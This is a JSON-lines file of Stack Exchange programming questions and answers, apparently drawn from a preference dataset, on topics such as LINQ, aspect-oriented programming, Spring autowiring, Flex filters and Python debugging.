{"id": "hf_3ba138ac74cf", "question": "<p>How is profiling different from logging?</p>\n\n<p>Is it just that profiling is used for performance measurements to see how long each function takes?  Or am I off?</p>\n\n<p>Typically, how are profiling libraries used?</p>\n\n<p>What types of stats are obtained by profiling?</p>\n", "question_body": "", "answer": "I see profiling as performance measurement, and you don't have to profile every piece of code running, it's sometimes better to target specific areas.\nLogging is storing information for later use, information which may relate to profiling but not necessarily.  It may just be to log what happened.\nAll the profiling stuff I've ever used basically allows you to store a start time and end time for a 'transaction' and later manipulate the data to see what's taking the most time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.013650"}
{"id": "hf_88de2ae854c0", "question": "<p>I understand object oriented programming, and have been writing OO programs for a long time.  People seem to talk about aspect-oriented programming, but I've never really learned what it is or how to use it.  What is the basic paradigm?</p>\n\n<p>This question is related, but doesn't quite ask it:</p>\n\n<p><a href=\"https://stackoverflow.com/questions/232884/aspect-oriented-programming-vs-object-oriented-programming\">Aspect-Oriented Programming vs. Object Oriented Programming</a></p>\n", "question_body": "", "answer": "AOP addresses the problem of\ncross-cutting concerns\n, which would be any kind of code that is repeated in different methods and can't normally be completely refactored into its own module, like with logging or verification. So, with AOP you can leave that stuff out of the main code and define it vertically like so:\n```\n```\nfunction mainProgram()\n{ \n   var x =  foo();\n   doSomethingWith(x);\n   return x;\n}\n\naspect logging\n{ \n    before (mainProgram is called):\n    { \n       log.Write(\"entering mainProgram\");\n    }\n\n    after (mainProgram is called):\n    { \n       log.Write(  \"exiting mainProgram with return value of \"\n                  + mainProgram.returnValue);\n    }\n } \n\naspect verification\n{ \n    before (doSomethingWith is called):\n    { \n       if (doSomethingWith.arguments[0] == null) \n       { \n          throw NullArgumentException();\n       }\n\n       if (!doSomethingWith.caller.isAuthenticated)\n       { \n          throw Securityexception();\n       }\n    }\n }\n```\n```\nAnd then an\naspect-weaver\nis used to compile the code into this:\n```\n```\nfunction mainProgram()\n{ \n   log.Write(\"entering mainProgram\");\n\n   var x = foo();   \n\n   if (x == null) throw NullArgumentException();\n   if (!mainProgramIsAuthenticated()) throw Securityexception();\n   doSomethingWith(x);   \n\n   log.Write(\"exiting mainProgram with return value of \"+ x);\n   return x;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.047929"}
{"id": "hf_38dc9de2b8fe", "question": "<p>I have a page with a \"Print\" link that takes the user to a printer-friendly page.  The client wants a print dialog box to appear automatically when the user arrives at the print-friendly page.  How can I do this with javascript?</p>\n", "question_body": "", "answer": "```\n```\nwindow.print();\n```\n```\nunless you mean a custom looking popup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.082738"}
{"id": "hf_f6435dab932a", "question": "<p>I required to write a small web application that allow customer to select predefined layout template in html and be able to modify it. The application need to allow customer to add block text to pre defined area and images. The block texts need to be able to reorder based on customer need. eg. move up , move down or move to sidebar. THe complete layout will be able to convert to table layout and inline css due to email program doesn't like div &amp; css. I don't know where should I looking for the information to make this happen, could anyone show me how to do this. </p>\n\n<p>Thank you</p>\n", "question_body": "", "answer": "I'm not sure why someone downvoted you, but check out a javascript framework like\nscript.aculo.us\nor\nYahoo's YUI\nThose will go a long way towards creating the interface you need.  Also they have a lot of examples.\nThe Yahoo framework has an inplace html editor (I think that is what you are asking for).  Another editing is the\nfckeditor\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.105555"}
{"id": "hf_f282490bd6a9", "question": "<p>I always hear that programmers try to pick the right tool for the job.  I've never programmed in Java, so I was wondering What are its benefits?  Why is it so popular?  What should I use it for?</p>\n\n<p>I just program recreationally.  Is there anything about it that makes it particularly fun??</p>\n", "question_body": "", "answer": "Cross platform is in my opinion the most relevant benefit.\nThe main goal of Java was to create a programming language that could run anywhere. The target was GUI apps. This however never happen because the environment was too slow at the beginning ( now it has been improved )  but it prove true in the server side where the cost of development reduced a lot because the product development can be done in PCs and the deployment in very expensive hardware.\nIt brought easy of development also, because it was designed to have C++ like syntax but running on a virtual platform to avoid platform specific code.  At first the penalty was the execution speed, because it was interpreted, but release after release the interpreters became more and more faster that even MS model its next generation of development after java and call it .net\nAdditionally\nYou can have a read of the Java design goals\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.129439"}
{"id": "hf_ebbd59464c5c", "question": "<p>I am digging into LINQ--trying to understand basic models (it seems pretty cool to me). The code below is the code to perform before committing an update.   </p>\n\n<pre><code>   Linq01.Account acc = context.Accounts.Single( pc =&gt; pc.AccountID == AccountID );\n   acc.Name = textboxAccountNameRead.Text.Trim();\n   context.SubmitChanges();\n</code></pre>\n\n<p>So far, so good. But what do you do if the Single() method failed--if the account ID wasn't found? </p>\n\n<p>Thank you!</p>\n", "question_body": "", "answer": "You should use\n```\nSingleOrDefault\n```\n, if the query does not return a value you can check it against null:\n```\n```\nvar acc = context.Accounts.SingleOrDefault(pc => pc.AccountId == AccountId);\nif(acc != null)\n{\n  acc.Name = textboxAccountNameRead.Text.Trim();\n  context.SubmitChanges();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.165796"}
{"id": "hf_13c67592ce17", "question": "<p>While surfing, I came to know that somebody has done Tower of Hanoi using vim. WOW!!!</p>\n\n<p>Can you people share what all cool things you have been doing in vim.</p>\n\n<p>Edit: Not sure about the Tower of Hanoi solution using vim being all that useful. But I think this question should be re-opened to allow people to comment on any useful things that they've done using vim. For me? See my answer below. (-:</p>\n", "question_body": "", "answer": "I was working on a system that had massive log files. We're talking 30,000 10MB logs.\nPer day!\nDistinguishing between log messages that were coming from the middleware (same company but custom rolled) and our application was getting tedious.\nThat is until I wrote some custom vim syntax parsing so that anything vim displayed in green was from the middleware (done by the guys in Sophia Antipolis near Cannes) as opposed to anything vim displayed in blue that was from our application software that sat over the top of the SA code.\nI also added highlighting to really make exceptions stand out with white lettering on a read background!\nMade life so much easier! And it wasn't that hard to do!\nThanks vim!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.214262"}
{"id": "hf_eb74ca45a567", "question": "<p>I'm running Windows Server 2008 64-bit \"workstation\" and would like to get <a href=\"http://msdn.microsoft.com/en-us/library/ms164699%28v=vs.80%29.aspx\" rel=\"nofollow noreferrer\">corflags.exe</a>. Which SDK do I need to download? </p>\n\n<p>I know about <a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyId=1AEF6FCE-6E06-4B66-AFE4-9AAD3C835D3D&amp;displaylang=en#Overview\" rel=\"nofollow noreferrer\">.NET Framework 2.0 Software Development Kit (SDK) (x64)</a> and <a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyId=F26B1AA4-741A-433A-9BE5-FA919850BDBF&amp;displaylang=en\" rel=\"nofollow noreferrer\">Windows SDK for Windows Server 2008 and .NET Framework 3.5</a> but I was hoping to find something smaller as these are quite large downloads.</p>\n\n<p>Also the note about 2.0 SDK seems to suggest to download the 3.5 one, should I follow that?</p>\n", "question_body": "", "answer": "If you install the .NET framework (you should already have it), it'll be at C:\\Program Files (x86)\\Microsoft.NET\\SDK\\v2.0\\Bin\\corflags.exe\nCome to think of it, you may need to install \nthe Microsoft .NET 2.0 SDK from\n.NET Framework 2.0 Software Development Kit (SDK) (x64)\n-- check for that file first.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.263212"}
{"id": "hf_2e28c2aaf315", "question": "<p>Visual Studio 2005 is very slow with a solution with 21 projects.  Any ideas how to speed it up?</p>\n", "question_body": "", "answer": "a) Buy more memory\nb) Break up into different solutions\nc) Upgrade to VS 2008\nd)\nLink", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.310841"}
{"id": "hf_c42001156bd3", "question": "<p>Is there a way to bind a Generic List to a multicolumn listbox, yes listbox...I know but this is what I am stuck with and can't add a grid or listview.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You could bind a list to a listbox like this:\n```\n```\nList<int> list = new List<int> { 1, 2, 4, 8, 16 };\nlistBox1.DataSource = list;\n```\n```\nAs for multicolumn listbox documentation says\nListBox.MultiColumn\nonly places items into as many columns as are needed to make vertical scrolling unnecessary.\nIf you want to show several columns of information for which an entire row will get selected you could use\nMulti Column List Box\nby Chris Rickard.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.334823"}
{"id": "hf_07ab90a0dbc3", "question": "<p>I want this page to return 200 whilst still sending the redirect...</p>\n\n<pre><code>&lt;script&gt;\n    sub page_load\n        'Get the parameters\n         dim content As String\n         content = request.querystring(\"text\")\n         response.redirect (\"http://100.200.100.10/test1/Default.aspx?CommandParm=\" + content)\n    end sub\n&lt;/script&gt;\n&lt;html&gt;\n    &lt;head&gt;\n    &lt;/head&gt;\n    &lt;body&gt;\n        &lt;form runat=\"server\"&gt;\n        &lt;/form&gt;\n    &lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n", "question_body": "", "answer": "No way with\n```\nResponse.Redirect()\n```\n. I... think. Maybe setting\n```\nResponse.Status = \"200 OK\"\n```\nafter calling\n```\nRedirect()\n```\nworks, I've never tried.\nYou could fake it by setting the \"Location\" header manually in an otherwise empty response. Not sure what that is good for, though. ;-)\n```\n```\nResponse.AddHeader(\"Location\", \"http://100.200.100.10/test1/Default.aspx?CommandParm=\" + content)\nResponse.End()\n```\n```\n(And, for the record: You would be producing an invalid HTTP header constellation. Should not break anything, but still.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.394750"}
{"id": "hf_4606bfe45d48", "question": "<p>I want create a drop shadow around the canvas component in flex. Technically speaking it will not be a shadow, as I want it to wrap around the component giving the component a floating look. I may be able to do it with glow, but can anyone drop an line or two who has already done it?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "I actually solved it by doing this:\n```\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<mx:Canvas xmlns:mx=\"http://www.adobe.com/2006/mxml\" \n        width=\"780\" height=\"100%\" borderStyle=\"solid\" borderColor=\"gray\"\n            creationComplete=\"init();\" backgroundColor=\"white\">\n\n  <mx:Script>\n        <![CDATA[\n            import mx.styles.StyleManager;\n\n            private function init():void {\n                var glow:GlowFilter = new GlowFilter();\n                glow.color = StyleManager.getColorName(\"gray\");\n                glow.alpha = 0.8;\n                glow.blurX = 4;\n                glow.blurY = 4;\n                glow.strength = 6;\n                glow.quality = BitmapFilterQuality.HIGH;\n\n                this.filters = [glow];\n            }\n        ]]>\n    </mx:Script>\n\n</mx:Canvas>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.419576"}
{"id": "hf_0b109f5abcd8", "question": "<p>I am developing iPhone application and In that application I've one <code>TableViewController</code>,\nand that <code>TableViewController</code> made up of Custom table cell.<br>\ninto those cell I am loading image from URL, but the <code>scrolling</code> is not that smooth, (because each cell load images every time when scrolling happen).</p>\n\n<p>So I decided to store those images into application document folder, but I don't know how to use document folder in iPhone when application is in running state.</p>\n\n<p>Any suggestion?</p>\n\n<p>And on other forums I found that SQLITE has blob datatype to store binary data,</p>\n\n<p>Which method is efficient, document folder or sqlite to store image?</p>\n", "question_body": "", "answer": "You could use\n```\nNSFileManager\n```\n's\n```\ncreateFileAtPath\n```\nto save any\n```\nNSData\n```\ninto a file.\nTo get the Documents directory, use this:\n```\n```\nNSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);\nNSString *documentsDirectory = [paths objectAtIndex:0];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.444686"}
{"id": "hf_cd2869ba7fcf", "question": "<p>I want to autowire a bean partially - that is, I want some args to be autowired but other to be explicitly set. For example:</p>\n\n<p>public MyClient(Service svc, boolean b)</p>\n\n<p>In the case of this constructor, I would like to specify in my xml the value for b, but have svc autowired. Is that possible?</p>\n\n<p>Thanks,\nLowell</p>\n", "question_body": "", "answer": "I don't think it is possible with constructors, but with explicit setters it certainly is. Just annotate the ones you want autowired with @Autowired, and set the others in your config-file\nSomething like:\n```\n```\npublic MyClient() {}\n\n@Autowired\npublic setService (Service svc) {...}\n\npublic setBoolean (boolean b) {...}\n```\n```\nand then in your config\n```\n```\n<context:annotation-config />\n\n<bean id=\"service\">...</bean>\n\n<bean id=\"yourbean\" class=\"MyClient\">\n    <property name=\"b\" value=\"true\"/>\n</bean>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.481550"}
{"id": "hf_261b7f1c6c8a", "question": "<p>I have the following classes</p>\n\n<pre><code>public interface InterfaceBase\n{\n}\n\npublic class ImplementA:InterfaceBase\n{\n}\n\npublic class ImplementB:InterfaceBase\n{\n}\n\npublic void TestImplementType&lt;T&gt;(T obj) where T: InterfaceBase\n{\n}\n</code></pre>\n\n<p>How to infer what the T is whether ImplementA or ImplementB? I tried to use </p>\n\n<pre><code>typeof(T) is ImplementA\n</code></pre>\n\n<p>but this expression is always evaluated to false. </p>\n\n<p>Edit: And how am I going to cast obj to ImplementA or ImplementB?</p>\n", "question_body": "", "answer": "```\nobj is ImplementA\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.519021"}
{"id": "hf_b17a61a79c81", "question": "<p>I have two lists that are of the same length, is it possible to loop through these two lists at once?</p>\n\n<p>I am looking for the correct syntax to do the below</p>\n\n<pre><code>foreach itemA, itemB in ListA, ListB\n{\n  Console.WriteLine(itemA.ToString()+\",\"+itemB.ToString());\n}\n</code></pre>\n\n<p>do you think this is possible in C#? And if it is, what is the lambda expression equivalent of this?</p>\n", "question_body": "", "answer": "[edit]: to clarify; this is useful in the generic LINQ /\n```\nIEnumerable<T>\n```\ncontext, where you\ncan't use\nan indexer, because a: it doesn't exist on an enumerable, and b: you can't guarantee that you can read the data more than once. Since the OP mentions lambdas, it occurs that LINQ might not be too far away (and yes, I do realise that LINQ and lambdas are not quite the same thing).\nIt sounds like you need the missing\n```\nZip\n```\noperator; you can spoof it:\n```\n```\nstatic void Main()\n{\n    int[] left = { 1, 2, 3, 4, 5 };\n    string[] right = { \"abc\", \"def\", \"ghi\", \"jkl\", \"mno\" };\n\n    // using KeyValuePair<,> approach\n    foreach (var item in left.Zip(right))\n    {\n        Console.WriteLine(\"{0}/{1}\", item.Key, item.Value);\n    }\n\n    // using projection approach\n    foreach (string item in left.Zip(right,\n        (x,y) => string.Format(\"{0}/{1}\", x, y)))\n    {\n        Console.WriteLine(item);\n    }\n}\n\n// library code; written once and stuffed away in a util assembly...\n\n// returns each pais as a KeyValuePair<,>\nstatic IEnumerable<KeyValuePair<TLeft,TRight>> Zip<TLeft, TRight>(\n    this IEnumerable<TLeft> left, IEnumerable<TRight> right)\n{\n    return Zip(left, right, (x, y) => new KeyValuePair<TLeft, TRight>(x, y));\n}\n\n// accepts a projection from the caller for each pair\nstatic IEnumerable<TResult> Zip<TLeft, TRight, TResult>(\n    this IEnumerable<TLeft> left, IEnumerable<TRight> right,\n    Func<TLeft, TRight, TResult> selector)\n{\n    using(IEnumerator<TLeft> leftE = left.GetEnumerator())\n    using (IEnumerator<TRight> rightE = right.GetEnumerator())\n    {\n        while (leftE.MoveNext() && rightE.MoveNext())\n        {\n            yield return selector(leftE.Current, rightE.Current);\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.596776"}
{"id": "hf_48aa2989e321", "question": "<p>I know how to move a layer based on touch. But I would also like to be able to rotate the image. </p>\n\n<p>Is there any sample code that shows how to do this? Or can anyone give me some advice?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You would use the view's transform property.\nThere's some example code for rotating the view in the iPhone OS Programming Guide, under\nLaunching in Landscape Mode", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.634401"}
{"id": "hf_0068c229eebc", "question": "<p>I am trying to compare two decimal values in Java script. I have two objects as  one assogned value \"3\" and the other as \"3.00\". When i say if (obj1 == obj2) it does not pass the condition as it is does the string comparision. </p>\n\n<p>I would instead want it to do a decimal comparision where 3 = 3.00. Please let me know how to do this.</p>\n", "question_body": "", "answer": "This page\ndescribes how to convert a string to a floating-point number; I believe that is what you want. This would let you compare the numbers as numbers, which I think is what you mean by \"decimally\". Beware that doing an exact comparison between two floating-point numbers is often considered a bit \"hazardous\", since there are precision issues that might cause two numbers that you would consider \"equal\" to not compare as such. See, for instance,\nWhat Every Computer Scientist Should Know About Floating-Point Arithmetic\n, which is a classic text on the topic. Perhaps a bit on the advanced side, but try searching for something more basic in that case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.698807"}
{"id": "hf_e1da95b1f61c", "question": "<p>This is a question I have wondered about for quite some time, yet I have never found a suitable solution. If I run a script and I come across, let's say an IndexError, python prints the line, location and quick description of the error and exits. Is it possible to automatically start pdb when an error is encountered? I am not against having an extra import statement at the top of the file, nor a few extra lines of code.</p>\n", "question_body": "", "answer": "This isn't the debugger, but probably just as useful(?)\nI know I heard Guido mention this in a speech somewhere.\nI just checked python -?, and if you use the -i command you can interact where your script stopped.\nSo given this script:\n```\n```\ntestlist = [1,2,3,4,5, 0]\n\nprev_i = None\nfor i in testlist:\n    if not prev_i:\n        prev_i = i\n    else:\n        result = prev_i/i\n```\n```\nYou can get this output!\n```\n```\nPS D:\\> python -i debugtest.py\nTraceback (most recent call last):\n  File \"debugtest.py\", line 10, in <module>\n    result = prev_i/i\nZeroDivisionError: integer division or modulo by zero\n>>>\n>>>\n>>> prev_i\n1\n>>> i\n0\n>>>\n```\n```\nTo be honest I haven't used this, but I should be, seems very useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.734787"}
{"id": "hf_9114791dfb8d", "question": "<p>How can I generate a report in access with the data from a recordset (instead of a query or table). I have updates to the recordset that also must be shown in the report.</p>\n", "question_body": "", "answer": "Please explain in more detail. For example, do you wish to show what the field was and what it is now? If so, you will need an audit trail. Here is an example from Microsoft:\nhttp://support.microsoft.com/kb/q197592/\nWhat do you mean by report? If you mean a printed paper document, Access has a good report builder. If you mean you wish to view the data, you can use a form. If you are unfamilar with building reports and forms, there are wizards.\nIt is always wise to study the Northwind sample database that ships with every version of Access.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.759219"}
{"id": "hf_2a1a2da017ad", "question": "<pre><code>private const int THE_ANSWER = 42;\n</code></pre>\n\n<p>or</p>\n\n<pre><code>private const int theAnswer = 42;\n</code></pre>\n\n<p>Personally I think with modern IDEs we should go with camelCase as ALL_CAPS looks strange. What do you think?</p>\n", "question_body": "", "answer": "Leave Hungarian to the Hungarians.\nIn the example I'd even leave out the definitive article and just go with\n```\n```\nprivate const int Answer = 42;\n```\n```\nIs that answer or is that the answer?\n*Made edit as Pascal strictly correct, however I was thinking the question was seeking more of an answer to\nlife, the universe and everything\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.807863"}
{"id": "hf_90ba2a0852b3", "question": "<p>I have MainViewController calling WebViewController (From UICatalog sample application)\nIn WebViewController I make some function setValue(){...} to set some value passed as parameter to the variable (NSString *value) from WebViewController.h but when I try from MainViewController something like WebViewController targetViewController...\ntargetViewController.setValue(value), it says: \"<strong>error: request for member 'setValue' in something not s structure or union</strong>\"...</p>\n", "question_body": "", "answer": "If you have a property named \"value\", and use @sythesize to create a method for you, in which case you call using that \".\" notation:\n```\n```\ntargetViewController.value = whatever;\n```\n```\nOr you can call the setter outright regardless of you or the @synthesize writing the method:\n```\n```\n[targetViewController setValue:whatever];\n```\n```\nThe property syntax (class.property = whatever) is really just a shortcut of calling a \"setValue:\" method, and in return the @property and @synthesize mechanisms of properties are just writing a helpful bit of code for you.\nEdit:  I had said before if you just wrote a \"setValue:\" method you could call it using the \"class.value = newValue\" notation, but that was incorrect - you have to define an @property to use \".\" notation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.856184"}
{"id": "hf_3b422b41a980", "question": "<p>I have a long URL with tons of parameters that I want to open in the default browser from Java on a Windows system using</p>\n\n<pre><code>Runtime.getRuntime().exec(\"rundll32 url.dll,FileProtocolHandler \"+url)\n</code></pre>\n\n<p>For short URLs like \"<a href=\"http://www.google.com\" rel=\"nofollow noreferrer\">http://www.google.com</a>\" this works fine. But for long URLs (say, 2000 characters), this simply does absolutely nothing at all: no exception or anything of the sort, it is simply ignored.</p>\n\n<p>Is there a character limit a) for a Runtime.exec command or b) for the rundll32 url.dll command? If so, what is the limit?</p>\n", "question_body": "", "answer": "You will be running up against\nthis (archived)\noperating system/browser specific maximum URL length problem:\nFor \"rundll32 url.dll\" (i.e. Microsoft IE) you will be limited to 2,083 characters (including http://).\nFrom where I sit you have two alternatives:\nBuild (or use) a TinyURL-style service\nthat turns your long-urls into\nshort, redirected ones. However even\nhere you are going to run into the\nsame URL length issue, just within\nthe browser itself rather than your\nRuntime() statement. e.g. The browser window would open, go to the short-URL which would perform the redirect to the long-URL and fail.\nUse a POST request and bury some or\nall of your URL parameters within\nit. Rather than using a GET call you\ncan supply very long parameters\nwithin the body of an HTTP POST request. This\nwould not be as simple as your example code. In fact this maybe quite tricky (or impossible) with the rundll32 url.dll combination (I am not familiar with it)...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.928942"}
{"id": "hf_88c11136a37b", "question": "<p>How can I draw a 2D rubber band rectangle in DirectX? Preferable using C#.</p>\n", "question_body": "", "answer": "The classic way to do rubberbanding is to:\nDraw the regular scene, i.e. the \"background\"\nSwitch to \"XOR mode\", where your pen will XOR the pixels already in the framebuffer. It is important that the mode here is XOR, since XOR is losslessly \"revertable\", unlike for instance an add operation.\nWhile \"rubberbanding\":\nDraw the rubberband rectangle in its current coordinates\nOn the next frame, draw the rectangle again, still using XOR, using its previous coordinates. This removes the rectangle, leaving the framebuffer intact.\nUpdate the rectangle's coordinates\nDetails on how to do this \"with DirectX\" are a bit harder ... I believe DirectDraw, the \"old school\" way of doing 2D in DirectX is obsolete, so I guess you must be using Direct3D. Unfortunately I'm not sure on the details, there. It might be that you're out of luck with finding pre-defined functionality to do XOR drawing, and need to roll your own. Hopefully someone can provide better details on that. Apologies if you were already up to speed on the rubberbanding theory itself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:22.978415"}
{"id": "hf_f328ba24dde6", "question": "<p>This is probably a simple question but how can I best use an AJAX loader in ASP.NET to provide a loading dialog whilst the page is being built?</p>\n\n<p>I currently have an UpdatePanel with an associated UpdateProgressPanel which contains the loading message and gif in a ProgressTemplate. </p>\n\n<p>Currently I have a page that onLoad() goes and gets the business entities and then displays them. While it is doing this I would like to display an AJAX loader. </p>\n\n<p>Would it be better to have nothing in the page load and have a hidden button that is triggered onLoadComplete or unLoad() which would then wait for the button click method to complete displaying the UpdateProgressPanel? </p>\n", "question_body": "", "answer": "You can do it in HTML outside of .Net.  In your ASPX page you have code like:\n```\n<div id=\"loading\">\n<!-- Animated GIF or other indication that stuff is happening -->\n</div>\n```\nAt the very bottom of your page, right before the  you can have a code snippet that looks like this:\n```\n<script language=\"javascript\">\ndocument.getElementById(\"loading\").style.display = \"none\";\n</script>\n```\nThe graphic--- as long as it's at the top of the page--- will render first.  Then all of your onLoad stuff will happen, and finally the inline JavaScript will happen last since it's at the bottom of the page.\nA lot of times I'll disable the buttons in their unloaded state and enable them in that bottom JavaScript too.  That prevents the user from getting click happy and triggering events before the page is ready.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.002547"}
{"id": "hf_fc570a165308", "question": "<p>Is it possible to make a POST request from Ruby with open-uri?</p>\n", "question_body": "", "answer": "Unfortunately\n```\nopen-uri\n```\nonly supports the\n```\nGET\n```\nverb.\nYou can either drop down a level and use\n```\nnet/http\n```\n, or use\n```\nrest-open-uri\n```\n, which was designed to support\n```\nPOST\n```\nand other verbs. You can do\n```\ngem install rest-open-uri\n```\nto install it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.027004"}
{"id": "hf_e10c3d5d1798", "question": "<p>Is it possible to disable the browsers vertical and horizontal scrollbars using jQuery or javascript?</p>\n", "question_body": "", "answer": "Try CSS\n```\n```\n<body style=\"overflow: hidden\">\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:23.051362"}
